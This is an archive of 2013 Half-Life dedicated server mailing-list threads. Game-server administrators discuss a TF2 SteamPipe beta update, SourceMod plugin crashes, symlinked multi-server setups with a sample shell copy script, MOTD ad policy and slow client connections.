* VPK tool: Fixed bug with drag-and-drop creating bogus VPK 
files that could not be located by the engine.
* Default mapcycle 
file moved to cstrike/cfg/mapcyclefile_default.txt.  It will be loaded 
if no mapcycle.txt file can be found and convar is set to default name.
*
 Mapcycle file will be loaded from cstrike/cfg directory if it exists, 
falling back to root cstrike directory otherwise.
* Mapcycle file can
 be loaded from cstrike/custom/xxx/cfg directory
* Mapcycle file 
parsing allows C-style comments and blank lines

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Chief Admin, SPUFserver
Chief Admin, OverPowered League


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Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released

2013-04-25 Thread Bjorn Wielens
I suspect I've found the culprits of the crashes, heads up if you are running 
afk_manager or superlogs_tf2 plugins, both of these caused server crashes 
immediately after joining a team for me. (Linux server)




 From: Fletcher Dunn fletch...@valvesoftware.com
To: 'Bjorn Wielens' uniac...@yahoo.ca 
Sent: Thursday, April 25, 2013 9:17:58 PM
Subject: RE: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released
 

What's your server's IP?

-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com 
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn Wielens
Sent: Thursday, April 25, 2013 5:17 PM
To: Half-Life dedicated Win32 server mailing list; 
hlds_linux@list.valvesoftware.com
Subject: Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released

Unfortunately I'm now having (still sm_related) issues with a server crash 
immediately on a client joining a team, despite running the beta gamedata.
Linux server, BTW. Anyone else having this or already know of the cause/fix?




From: Ryan Stecker voidedwea...@gmail.com
To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com 
Sent: Thursday, April 25, 2013 5:50:59 PM
Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released



For updated gamedata that's compatible with steampipe, see: 
https://github.com/RavuAlHemio/sourcemod-beta-gamedata

It's an unofficial repo, so your mileage may vary, but I've had reports from 
multiple people that the gamedata is up to date with steampipe.
 



On Thu, Apr 25, 2013 at 3:29 PM, thesupremecommander thesupremec...@gmail.com 
wrote:

Yes, indeed, although I would point out that Valve's already told server owners 
to convert to SteamPipe in preparation for the update anyway, but that's not 
something to be argued over the mailing list.


I think there is some beta gamedata floating around somewhere that I'll try 
out to see whether the issues are fixed.



On Thu, Apr 25, 2013 at 4:20 PM, DontWannaName! ad...@topnotchclan.com wrote:

From what I understand there needs to be updated game data for steam pipe but 
they can't be synced in SM until its released. 

Sent from my iPhone 5

On Apr 25, 2013, at 1:18 PM, Bjorn Wielens uniac...@yahoo.ca wrote:


It seems that any plugins using GetPlayerEyePosition() are casing crashes. 
Spraytrace is one example. I would imagine SMAC has a component that does so 
as well. 









 From: thesupremecommander thesupremec...@gmail.com
To: Half-Life dedicated Win32 server mailing list 
h...@list.valvesoftware.com 
Sent: Wednesday, April 24, 2013 10:40:34 PM
Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released
 


I'll try reverting, then, but I did try dropping in the latest SM 1.5 
snapshot earlier to no avail. I'll probably just stick with the core plugins 
until I can do more extensive testing.



On Wed, Apr 24, 2013 at 9:07 PM, Nicholas Hastings 
psycho...@alliedmods.net wrote:

SM does not officially 
support the beta version yet and will not until closer to its release, 
else it would be broken for the release version of the game.


-- 
Nicholas Hastings
AlliedMods.net




compose-unknown-contact.jpg
thesupremecommander
Wednesday, April 
24, 2013 9:04 PM
Is anybody 
getting constant crashing with SourceMod? I seem to be getting the 
standard segfault whenever someone joins the server and can't pin it 
onto any one plugin, although crashing consistently disappears when I 
strip down to the latest SM 1.6 and MM:S 1.10 snapshots.







-- 

thesupremecommander (Steam)
Chief Admin, SPUFserver
Chief Admin, OverPowered League

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compose-unknown-contact.jpg
Fletcher Dunn
Tuesday, April 
23, 2013 2:12 PM
A mandatory update to the 
TF2 SteamPipe beta has been released.  Although the update is 
mandatory (the PatchVersion has been bumped so you will need to 
upgrade your server in order to host clients running the latest 
version), your server will not automatically restart.

Team 
Fortress 2:
* Synced with release version of game

Source 
engine:
* VPK tool: Fixed bug with drag-and-drop creating bogus VPK 
files that could not be located by the engine.
* Default mapcycle 
file moved to cstrike/cfg/mapcyclefile_default.txt.  It will be loaded 
if no mapcycle.txt file can be found and convar is set to default name.
*
Mapcycle file will be loaded from cstrike/cfg directory if it exists, 
falling back to root cstrike directory otherwise.
* Mapcycle file can
be loaded from cstrike/custom/xxx/cfg directory
* Mapcycle file 
parsing allows C-style comments and blank lines

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Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released

2013-04-25 Thread Bjorn Wielens
Thanks for the info. I'm running yesterday's MM 1.9.3 and SM 1.5 snapshots - 
are you perchance running 1.10/1.6? . superlogs is nice but not mission 
critical; I can live without jarate reporting in HLStats for a week until the 
official SM support is out. ;)





 From: thesupremecommander thesupremec...@gmail.com
To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing 
list hlds_linux@list.valvesoftware.com 
Sent: Thursday, April 25, 2013 10:06:19 PM
Subject: Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released
 


Check your gamedata folder for any custom gamedata you may have, most if not 
all is out of date right now. I am running SuperLogs fine for now, although I 
had to compile it manually since I couldn't find a download for it.



On Thu, Apr 25, 2013 at 8:49 PM, Bjorn Wielens uniac...@yahoo.ca wrote:

I suspect I've found the culprits of the crashes, heads up if you are running 
afk_manager or superlogs_tf2 plugins, both of these caused server crashes 
immediately after joining a team for me. (Linux server)





 From: Fletcher Dunn fletch...@valvesoftware.com
To: 'Bjorn Wielens' uniac...@yahoo.ca
Sent: Thursday, April 25, 2013 9:17:58 PM
Subject: RE: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta 
released


What's your server's IP?


-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com 
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn Wielens
Sent: Thursday, April 25, 2013 5:17 PM
To: Half-Life dedicated Win32 server mailing list; 
hlds_linux@list.valvesoftware.com
Subject: Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta 
released

Unfortunately I'm now having (still sm_related) issues with a server crash 
immediately on a client joining a team, despite running the beta gamedata.
Linux server, BTW. Anyone else having this or already know of the cause/fix?




From: Ryan Stecker voidedwea...@gmail.com
To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com
Sent: Thursday, April 25, 2013 5:50:59 PM
Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released



For updated gamedata that's compatible with steampipe, see: 
https://github.com/RavuAlHemio/sourcemod-beta-gamedata

It's an unofficial repo, so your mileage may vary, but I've had reports from 
multiple people that the gamedata is up to date with steampipe.
 



On Thu, Apr 25, 2013 at 3:29 PM, thesupremecommander 
thesupremec...@gmail.com wrote:

Yes, indeed, although I would point out that Valve's already told server 
owners to convert to SteamPipe in preparation for the update anyway, but 
that's not something to be argued over the mailing list.


I think there is some beta gamedata floating around somewhere that I'll try 
out to see whether the issues are fixed.



On Thu, Apr 25, 2013 at 4:20 PM, DontWannaName! ad...@topnotchclan.com 
wrote:

From what I understand there needs to be updated game data for steam pipe but 
they can't be synced in SM until its released. 

Sent from my iPhone 5

On Apr 25, 2013, at 1:18 PM, Bjorn Wielens uniac...@yahoo.ca wrote:


It seems that any plugins using GetPlayerEyePosition() are casing crashes. 
Spraytrace is one example. I would imagine SMAC has a component that does so 
as well.









 From: thesupremecommander thesupremec...@gmail.com
To: Half-Life dedicated Win32 server mailing list 
h...@list.valvesoftware.com
Sent: Wednesday, April 24, 2013 10:40:34 PM
Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released



I'll try reverting, then, but I did try dropping in the latest SM 1.5 
snapshot earlier to no avail. I'll probably just stick with the core 
plugins until I can do more extensive testing.



On Wed, Apr 24, 2013 at 9:07 PM, Nicholas Hastings 
psycho...@alliedmods.net wrote:

SM does not officially
support the beta version yet and will not until closer to its release,
else it would be broken for the release version of the game.


--
Nicholas Hastings
AlliedMods.net




compose-unknown-contact.jpg
thesupremecommander
Wednesday, April
24, 2013 9:04 PM
Is anybody
getting constant crashing with SourceMod? I seem to be getting the
standard segfault whenever someone joins the server and can't pin it
onto any one plugin, although crashing consistently disappears when I
strip down to the latest SM 1.6 and MM:S 1.10 snapshots.







--

thesupremecommander (Steam)
Chief Admin, SPUFserver
Chief Admin, OverPowered League

___
To unsubscribe,
edit your list preferences, or view the list archives, please visit:
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Fletcher Dunn
Tuesday, April
23, 2013 2:12 PM
A mandatory update to the
TF2 SteamPipe beta has been released.  Although the update is
mandatory (the PatchVersion has been

Re: [hlds_linux] Mandatory update to TF2 SteamPipe beta released

2013-04-23 Thread Bjorn Wielens
 * Synced with release version of game

Does this mean clients that have not opted in to a beta are able to connect to 
steampipe servers, or will they remain separate tracks until the 30th?






 From: Fletcher Dunn fletch...@valvesoftware.com
To: Half-Life dedicated Linux server mailing list 
(hlds_linux@list.valvesoftware.com) hlds_linux@list.valvesoftware.com; 
Half-Life dedicated Win32 server mailing list (h...@list.valvesoftware.com) 
h...@list.valvesoftware.com; hlds_annou...@list.valvesoftware.com 
hlds_annou...@list.valvesoftware.com 
Sent: Tuesday, April 23, 2013 3:12:28 PM
Subject: [hlds_linux] Mandatory update to TF2 SteamPipe beta released
 

A mandatory update to the TF2 SteamPipe beta has been released.  Although the 
update is mandatory (the PatchVersion has been bumped so you will need to 
upgrade your server in order to host clients running the latest version), your 
server will not automatically restart.

Team Fortress 2:
* Synced with release version of game

Source engine:
* VPK tool: Fixed bug with drag-and-drop creating bogus VPK files that could 
not be located by the engine.
* Default mapcycle file moved to cstrike/cfg/mapcyclefile_default.txt.  It will 
be loaded if no mapcycle.txt file can be found and convar is set to default 
name.
* Mapcycle file will be loaded from cstrike/cfg directory if it exists, falling 
back to root cstrike directory otherwise.
* Mapcycle file can be loaded from cstrike/custom/xxx/cfg directory
* Mapcycle file parsing allows C-style comments and blank lines

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Re: [hlds_linux] Symlinked Server Setup

2013-04-18 Thread Bjorn Wielens
Thanks all for the insight. I've also been looking at the forked server thread 
on alliedmods where it's mentioned that MM can be symlinked, but sourcemod 
should not be.

I've got a pretty good idea now what I want to do after hearing how other folks 
manage it. We use CPGS to manage the servers so it won't be necessary to 
actually start/stop/restart them from the script - what I'm looking to write is 
just some scripts for rapid updating of metamod, sourcemod, and tf2, along with 
a rapid way to deploy a new install with our standard plugin and config loadout.

Cheers!




 From: Erik-jan Riemers riem...@binkey.nl
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, April 18, 2013 4:54:58 AM
Subject: Re: [hlds_linux] Symlinked Server Setup
 

Well i am no isp, so I don’t have to keep that in mind. Also we use
updater.smx which removes any symbolic links if a new update is out on the
plugins. Looks nice the gui Ulrich, might come in handy for less
scriptfull people.

Only thing that was left, was there now an option to tell server owners
which custom content it is allowed to load? I think not right?

-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Ulrich
Block
Sent: donderdag 18 april 2013 9:45
To: Half-Life dedicated Linux server mailing list
Subject: Re: [hlds_linux] Symlinked Server Setup

I am also using a symlink setup. My system has a masteruser which owns the
masterfiles/server. This user is within the same group as the users that
own the actual gameservers. Linking serverplugins decreases the needed
adminsitration. Update mms/sm once and all your servers can make use of
updated binaries.


When I install a server or serverplugin like mms/sm I work in two passes.

1. pass is to copy files from master a user needs to edit (incomplete
extension list und wrote down from my memory):
cd masterfolder/
find  -type f -name *.cfg -o -name *.ini -o -name *.smx | while read
file; do
     if [ ! -d targetserver/`basename $file` ]; then mkdir -p
targetserver/`basename $file`; fi
     cp $file targetserver/$file
done

2. pass symlinks the rest recusive. Previously copied files won´t get
overwritten:
cp -sr /absolutepath/to/masterserver/* /absolutepath/to/targetserver/


If you only have a few servers and do not mind using an interface, you
might be interested in easy-wi.com. It makes use of symlinks and has a
free version.


Am 18.04.2013 08:54, schrieb Erik-jan Riemers:
 This is my script what i have so far, i want to improve more on it when
i
 have the time like making an easy way to upgrade metamod/sourcemod and
 update plugins too.

 http://pastebin.com/TzULi9M4 it keeps the configs of all servers in a
 .servers file which should make it easy to create and remove new servers
 to get default servers up and running quickly. Tested with tf2 and css.

 This is my own worklog to keep our other admins in the loop,
 http://wiki.lethal-zone.eu/pages/viewpage.action?pageId=7798805 feel
free
 to copy it over if it has any value for you. But some of them asked what
 has changed, so made a diagram of it. If you see something wrong or have
a
 better way, I am all ears.

 -Original Message-
 From: hlds_linux-boun...@list.valvesoftware.com
 [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn
 Wielens
 Sent: donderdag 18 april 2013 2:39
 To: Half-Life dedicated Linux server mailing list
 Subject: [hlds_linux] Symlinked Server Setup

 In light of the upcoming tf2 server switch to steampipe, I'm working on
a
 new server setup which is symlinked, and I have a question I hope
someone
 here can answer. Skip down two paragraphs to go straight to it, or read
on
 for background on what I'm trying to do.

 Background: What I ultimately want to do is have several tf2 server
 directories (e.g. server1, server2, server3) which all have symlinks to
 the files in a single master directory to which updates are
downloaded.
 These servers (1, 2 and 3) can then be customized as to their
 mapcycles/configs/etc, but don't use much additional disk space for each
 new install.

 My question pertains to addons, specifically SM/MM). I recall reading
 about some of this, but can't seem to hit the right combination of
 keywords to find it again via google.

 Here goes - Symlinking Sourcemod and Metamod: Can components of these
 (esp. plugins, configs) be symlinked or is it necessary to have a unique
 copy for each server?


 Also, is 232250 the final appid for tf2 steamcmd or will that become 440
 at the actual switchover? Sorry if that's been answered before.

 Thanks!

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Re: [hlds_linux] Symlinked Server Setup

2013-04-18 Thread Bjorn Wielens
What I plan to do is keep two copies of the full srcds install.

First one of them is updated. Then all the servers are shut down, and the new 
files are copied over to the second full install. The servers are symlinked to 
the second install. Best of both worlds ;)





 From: Russell Smith ve...@tinylittlerobots.us
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, April 18, 2013 1:41:33 PM
Subject: Re: [hlds_linux] Symlinked Server Setup
 

To piggy back on this thread, how are you guys handling srcds updates?  
The only disadvantage I can see with symlinking is you then cannot 
launch with -autoupdate on each of your instances, but you can't update 
the master copy either while the children are running.

Are you guys then just manually shutting down all servers to update the 
master copy every update?

On 4/18/2013 4:34 AM, Bjorn Wielens wrote:
 Thanks all for the insight. I've also been looking at the forked server 
 thread on alliedmods where it's mentioned that MM can be symlinked, but 
 sourcemod should not be.

 I've got a pretty good idea now what I want to do after hearing how other 
 folks manage it. We use CPGS to manage the servers so it won't be necessary 
 to actually start/stop/restart them from the script - what I'm looking to 
 write is just some scripts for rapid updating of metamod, sourcemod, and tf2, 
 along with a rapid way to deploy a new install with our standard plugin and 
 config loadout.

 Cheers!



 
   From: Erik-jan Riemers riem...@binkey.nl
 To: Half-Life dedicated Linux server mailing list 
 hlds_linux@list.valvesoftware.com
 Sent: Thursday, April 18, 2013 4:54:58 AM
 Subject: Re: [hlds_linux] Symlinked Server Setup
  

 Well i am no isp, so I don’t have to keep that in mind. Also we use
 updater.smx which removes any symbolic links if a new update is out on the
 plugins. Looks nice the gui Ulrich, might come in handy for less
 scriptfull people.

 Only thing that was left, was there now an option to tell server owners
 which custom content it is allowed to load? I think not right?

 -Original Message-
 From: hlds_linux-boun...@list.valvesoftware.com
 [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Ulrich
 Block
 Sent: donderdag 18 april 2013 9:45
 To: Half-Life dedicated Linux server mailing list
 Subject: Re: [hlds_linux] Symlinked Server Setup

 I am also using a symlink setup. My system has a masteruser which owns the
 masterfiles/server. This user is within the same group as the users that
 own the actual gameservers. Linking serverplugins decreases the needed
 adminsitration. Update mms/sm once and all your servers can make use of
 updated binaries.


 When I install a server or serverplugin like mms/sm I work in two passes.

 1. pass is to copy files from master a user needs to edit (incomplete
 extension list und wrote down from my memory):
 cd masterfolder/
 find  -type f -name *.cfg -o -name *.ini -o -name *.smx | while read
 file; do
       if [ ! -d targetserver/`basename $file` ]; then mkdir -p
 targetserver/`basename $file`; fi
       cp $file targetserver/$file
 done

 2. pass symlinks the rest recusive. Previously copied files won´t get
 overwritten:
 cp -sr /absolutepath/to/masterserver/* /absolutepath/to/targetserver/


 If you only have a few servers and do not mind using an interface, you
 might be interested in easy-wi.com. It makes use of symlinks and has a
 free version.


 Am 18.04.2013 08:54, schrieb Erik-jan Riemers:
 This is my script what i have so far, i want to improve more on it when
 i
 have the time like making an easy way to upgrade metamod/sourcemod and
 update plugins too.

 http://pastebin.com/TzULi9M4 it keeps the configs of all servers in a
 .servers file which should make it easy to create and remove new servers
 to get default servers up and running quickly. Tested with tf2 and css.

 This is my own worklog to keep our other admins in the loop,
 http://wiki.lethal-zone.eu/pages/viewpage.action?pageId=7798805 feel
 free
 to copy it over if it has any value for you. But some of them asked what
 has changed, so made a diagram of it. If you see something wrong or have
 a
 better way, I am all ears.

 -Original Message-
 From: hlds_linux-boun...@list.valvesoftware.com
 [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn
 Wielens
 Sent: donderdag 18 april 2013 2:39
 To: Half-Life dedicated Linux server mailing list
 Subject: [hlds_linux] Symlinked Server Setup

 In light of the upcoming tf2 server switch to steampipe, I'm working on
 a
 new server setup which is symlinked, and I have a question I hope
 someone
 here can answer. Skip down two paragraphs to go straight to it, or read
 on
 for background on what I'm trying to do.

 Background: What I ultimately want to do is have several tf2 server
 directories (e.g. server1, server2, server3) which all have symlinks

Re: [hlds_linux] Symlinked Server Setup

2013-04-18 Thread Bjorn Wielens
I know for sure doing this with sourcemod/Metamod _will_ crash your server.

The binaries are loaded in memory, and overwriting them won't cause a crash 
until something requires access to them from disk and it doesn't match what's 
expected. If there are no actual changes to the binaries (say only new items), 
your server will probably chug along happily without issue. If those binaries 
have siginificant changes, _then_ you're likely to run into problems.





 From: Russell Smith ve...@tinylittlerobots.us
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, April 18, 2013 8:20:38 PM
Subject: Re: [hlds_linux] Symlinked Server Setup
 

How would this not cause a crash?  You're overwriting the binaries that are 
currently running on your symlinked servers.

On 18.04.2013 15:30, Nikooo777 wrote:
 That's just a waste of space. Use one base installation and when
 needed update it. Your game won't crash. If you have multiple
 gameservers then symlink the binaries etc and for each installation
 install mm and sm.
 
 
 Sent from Samsung Mobile
 
  Original message 
 From: Bjorn Wielens uniac...@yahoo.ca
 Date:
 To: Half-Life dedicated Linux server mailing list
 hlds_linux@list.valvesoftware.com
 Subject: Re: [hlds_linux] Symlinked Server Setup
 
 What I plan to do is keep two copies of the full srcds install.
 
 First one of them is updated. Then all the servers are shut down, and
 the new files are copied over to the second full install. The servers
 are symlinked to the second install. Best of both worlds ;)
 
 
 
 
 
 From: Russell Smith ve...@tinylittlerobots.us
 To: Half-Life dedicated Linux server mailing list
 hlds_linux@list.valvesoftware.com
 Sent: Thursday, April 18, 2013 1:41:33 PM
 Subject: Re: [hlds_linux] Symlinked Server Setup
 
 
 To piggy back on this thread, how are you guys handling srcds updates? 
 The only disadvantage I can see with symlinking is you then cannot
 launch with -autoupdate on each of your instances, but you can't update
 the master copy either while the children are running.
 
 Are you guys then just manually shutting down all servers to update the
 master copy every update?
 
 On 4/18/2013 4:34 AM, Bjorn Wielens wrote:
 Thanks all for the insight. I've also been looking at the forked server 
 thread on alliedmods where it's mentioned that MM can be symlinked, but 
 sourcemod should not be.
 
 I've got a pretty good idea now what I want to do after hearing how other 
 folks manage it. We use CPGS to manage the servers so it won't be necessary 
 to actually start/stop/restart them from the script - what I'm looking to 
 write is just some scripts for rapid updating of metamod, sourcemod, and 
 tf2, along with a rapid way to deploy a new install with our standard plugin 
 and config loadout.
 
 Cheers!
 
 
 
 
    From: Erik-jan Riemers riem...@binkey.nl
 To: Half-Life dedicated Linux server mailing list 
 hlds_linux@list.valvesoftware.com
 Sent: Thursday, April 18, 2013 4:54:58 AM
 Subject: Re: [hlds_linux] Symlinked Server Setup
  
 
 Well i am no isp, so I don’t have to keep that in mind. Also we use
 updater.smx which removes any symbolic links if a new update is out on the
 plugins. Looks nice the gui Ulrich, might come in handy for less
 scriptfull people.
 
 Only thing that was left, was there now an option to tell server owners
 which custom content it is allowed to load? I think not right?
 
 -Original Message-
 From: hlds_linux-boun...@list.valvesoftware.com
 [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Ulrich
 Block
 Sent: donderdag 18 april 2013 9:45
 To: Half-Life dedicated Linux server mailing list
 Subject: Re: [hlds_linux] Symlinked Server Setup
 
 I am also using a symlink setup. My system has a masteruser which owns the
 masterfiles/server. This user is within the same group as the users that
 own the actual gameservers. Linking serverplugins decreases the needed
 adminsitration. Update mms/sm once and all your servers can make use of
 updated binaries.
 
 
 When I install a server or serverplugin like mms/sm I work in two passes.
 
 1. pass is to copy files from master a user needs to edit (incomplete
 extension list und wrote down from my memory):
 cd masterfolder/
 find  -type f -name *.cfg -o -name *.ini -o -name *.smx | while read
 file; do
        if [ ! -d targetserver/`basename $file` ]; then mkdir -p
 targetserver/`basename $file`; fi
        cp $file targetserver/$file
 done
 
 2. pass symlinks the rest recusive. Previously copied files won´t get
 overwritten:
 cp -sr /absolutepath/to/masterserver/* /absolutepath/to/targetserver/
 
 
 If you only have a few servers and do not mind using an interface, you
 might be interested in easy-wi.com. It makes use of symlinks and has a
 free version.
 
 
 Am 18.04.2013 08:54, schrieb Erik-jan Riemers:
 This is my script what i

[hlds_linux] Symlinked Server Setup

2013-04-17 Thread Bjorn Wielens
In light of the upcoming tf2 server switch to steampipe, I'm working on 
a new server setup which is symlinked, and I have a question I hope 
someone here can answer. Skip down two paragraphs to go straight to it, 
or read on for background on what I'm trying to do.


Background: What I ultimately want to do is have several tf2 server 
directories (e.g. server1, server2, server3) which all have symlinks to 
the files in a single master directory to which updates are 
downloaded. These servers (1, 2 and 3) can then be customized as to 
their mapcycles/configs/etc, but don't use much additional disk space 
for each new install.


My question pertains to addons, specifically SM/MM). I recall reading 
about some of this, but can't seem to hit the right combination of 
keywords to find it again via google.


Here goes - Symlinking Sourcemod and Metamod: Can components of these 
(esp. plugins, configs) be symlinked or is it necessary to have a unique 
copy for each server?



Also, is 232250 the final appid for tf2 steamcmd or will that become 440 
at the actual switchover? Sorry if that's been answered before.


Thanks!

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Re: [hlds_linux] Mandatory Team Fortress 2 update released

2013-04-04 Thread Bjorn Wielens
I agree the implemented solution is not acceptable when there are better 
alternatives. 

We use MOTD panels for 3 main things:
1. General server/community info, and a list of our other servers (default 
MOTD).
2. Rules - accessed by typing !rules. We also have a plugin that displays 
this panel to players when admins issue them warnings or timeouts for rule 
violations.

3. Donate information panel. Also accessed only on request (!donate or 
something like that)

4.Radio (but not relevant since it's donators only).
I think if a confirmation dialog is implemented, it should also have an option 
for a short text string that lets the user see WHY the server wants to display 
a MOTD to them. e.g. This server is trying to show you a MOTD for: Server 
Rules or  This server is trying to show you a MOTD for: Sourcetunes Radio. 
Do you wish to view it?


I'm surprised valve went ahead and implemented the solution they did, given the 
extensive discussion in the list about disabling MOTDs (before it went to pot).





 From: Peter Reinhold peter_va...@reinhold.dk
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, April 4, 2013 7:52:22 AM
Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released
 
On 04.04.2013 10:32, annarack wrote:

 What if, after a few returns to the same server, a notification is
 displayed to read the rules of the server which they must do and agree
 to to continue playing on the server.

Pretty sure that would just scare players off.

The best solution, as I see it, would be to re-use the popup/confirm as when 
you are redirected to another server.

If a player has requested something, be it !rules, !radio, !bp or whatever, a 
confirm will not annoy them. (And maybe even have a Always allow MOTD for this 
server switch somewhere), but if you get an unsolicited popup every 2 minutes, 
my guess is that you would leave and go somewhere else.


/Peter

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Re: [hlds_linux] Mandatory Team Fortress 2 update released

2013-04-04 Thread Bjorn Wielens
Indeed. 
As a (medium-sized) community we don't run pinion because we despise it as much 
as the clients. That said, I completely support the right of server ops to use 
ads (legitimately) in an attempt to recover operating costs. I also support the 
rights of clients to block the ads, though. Ops pay for servers and can do with 
them as they see fit, and clients pay for their internet connection/bandwidth, 
and can do with the bits servers send them as they see fit.

I agree that a lot of people don't realize the costs and amount of work that 
goes into running a community TF2 server.
(In fact, this image sums up the menality quite nicely: 
http://dl.dropbox.com/u/38481337/servers.png)

It'd be interesting if someone organized a TF2 blackout day like they did with 
SOPA to squash this mentality and educate folks what TF2 would be like if there 
weren't any folks investing time and money to run community servers. Then 
again, it'd probably fall on deaf ears from the 'HURR DURR BUT I PAID FOR 
TF2/TF2 IS FREE' crowd.






 From: Frank ad...@gamerscrib.net
To: 'Half-Life dedicated Linux server mailing list' 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, April 4, 2013 8:44:15 AM
Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released
 
They clearly listened to SPUF and all its crying over having to watch a few
seconds of ads to support well managed servers they enjoyed playing. I'm
surprised a few comments didn't include most of them thinking money grows on
trees or falls from the sky like rain drops.

A lesson in simple economics I think is needed to teach most of those kids
the facts of life and the understanding that running these servers are NOT
free and the money has to come from some place. 

As for uses well that's collateral damage to Valve whom again obviously only
listened to the crying that went on within SPUF.



-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn
Wielens
Sent: Thursday, April 04, 2013 7:39 AM
To: Half-Life dedicated Linux server mailing list
Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released

I agree the implemented solution is not acceptable when there are better
alternatives. 

We use MOTD panels for 3 main things:
1. General server/community info, and a list of our other servers (default
MOTD).
2. Rules - accessed by typing !rules. We also have a plugin that displays
this panel to players when admins issue them warnings or timeouts for rule
violations.

3. Donate information panel. Also accessed only on request (!donate or
something like that)

4.Radio (but not relevant since it's donators only).
I think if a confirmation dialog is implemented, it should also have an
option for a short text string that lets the user see WHY the server wants
to display a MOTD to them. e.g. This server is trying to show you a MOTD
for: Server Rules or  This server is trying to show you a MOTD for:
Sourcetunes Radio. Do you wish to view it?


I'm surprised valve went ahead and implemented the solution they did, given
the extensive discussion in the list about disabling MOTDs (before it went
to pot).





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Re: [hlds_linux] Mandatory Team Fortress 2 update released

2013-04-04 Thread Bjorn Wielens
Should they go that route I don't see any reason those plugins couldn't be 
granted a valve-approved redirect link or community page that allows them to 
remain in use, or even the you are leaving the steam community... 
confirmation.





 From: Peter Reinhold peter_va...@reinhold.dk
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, April 4, 2013 10:01:09 AM
Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released
 
On 04.04.2013 11:52, Peter Reinhold wrote:

 The best solution, as I see it, would be to re-use the popup/confirm
 as when you are redirected to another server.

Another possible solution (but this would take some work on Valves side) would 
be for servers to have either their own page in the community, a subpage on a 
steamgroup page or something like that.

Then there could be, standardized, ways for players to open information about a 
server, both what group/community it belongs to, along with whatever else you 
could add to that page.

A souped-up version of the L4D(2) community group feature, if you will, and 
that would keep all revelant links within Valves world, but would ofcourse 
break !radio, !bp, !stats etc.


/Peter

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Re: [hlds_linux] Mandatory Team Fortress 2 update released

2013-04-04 Thread Bjorn Wielens
How well does JS/JQuery/CSS work in the MOTD panel for something like tabs? or 
is it better left to the classic way of doing it with separate pages and links?





 From: David Fountain savsi...@gmail.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, April 4, 2013 10:11:24 AM
Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released
 
Ads do botherme while I play... my opinion is I have my main motd with the
description of my server a tab for teamspeak, server rules,  and membership
or donation info ..

The in game motds are available to provide information about features like
in cz I have a motd explaining how to use the hook and medic plugins.

Although in CSGO they did this since release. If it's similar you can use
the work around that we use for go. It's not the same panel and instead of
having an exit on bottom the X is in the top right corner

SavSin
On Apr 4, 2013 6:02 AM, Peter Reinhold peter_va...@reinhold.dk wrote:

 On 04.04.2013 11:52, Peter Reinhold wrote:

  The best solution, as I see it, would be to re-use the popup/confirm
 as when you are redirected to another server.


 Another possible solution (but this would take some work on Valves side)
 would be for servers to have either their own page in the community, a
 subpage on a steamgroup page or something like that.

 Then there could be, standardized, ways for players to open information
 about a server, both what group/community it belongs to, along with
 whatever else you could add to that page.

 A souped-up version of the L4D(2) community group feature, if you will,
 and that would keep all revelant links within Valves world, but would
 ofcourse break !radio, !bp, !stats etc.


 /Peter

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[hlds_linux] Long connects/disconnects?

2013-03-17 Thread Bjorn Wielens


Just curious whether anyone has found this to be an issue. I've received 
reports that our servers take a long time to connect, and the same with 
disconnects. Connects usually hang at the usual at 'retrieving server info' or 
'sending client info'.

 
I've tried searching for results before, but everything is swamped with 'it's a 
client side issue, defrag your cache'. However, the reports say that it only 
happens on our servers.

I was hoping someone here might have some suggestions or ideas as to what would 
cause this?

Standard TF2 servers on CentOS, with Sourcemod/Metamod.
Plugins as follows:

01 [TF2] gScramble Team Manager (3.0.11) by Goerge
02 Sound Commands (1.4.7-dev) by AlliedModders LLC
03 Extended Mute (1.2.2-B) by Twisted|Panda (Orig: FLOOR_MASTER)
04 Anti Color Abuse (1.0.0) by 11530
05 Fun Commands (1.4.7-dev) by AlliedModders LLC
06 Basic Votes (1.4.7-dev) by AlliedModders LLC
07 HLstatsX CE Ingame Plugin (1.6.19) by psychonic
08 Player Commands (1.4.7-dev) by AlliedModders LLC
09 SuperLogs: TF2 (2.0.32) by Thomas CmptrWz Berezansky  psychonic
10 Fun Votes (1.4.7-dev) by AlliedModders LLC
11 Advertisements (0.5.5) by Tsunami
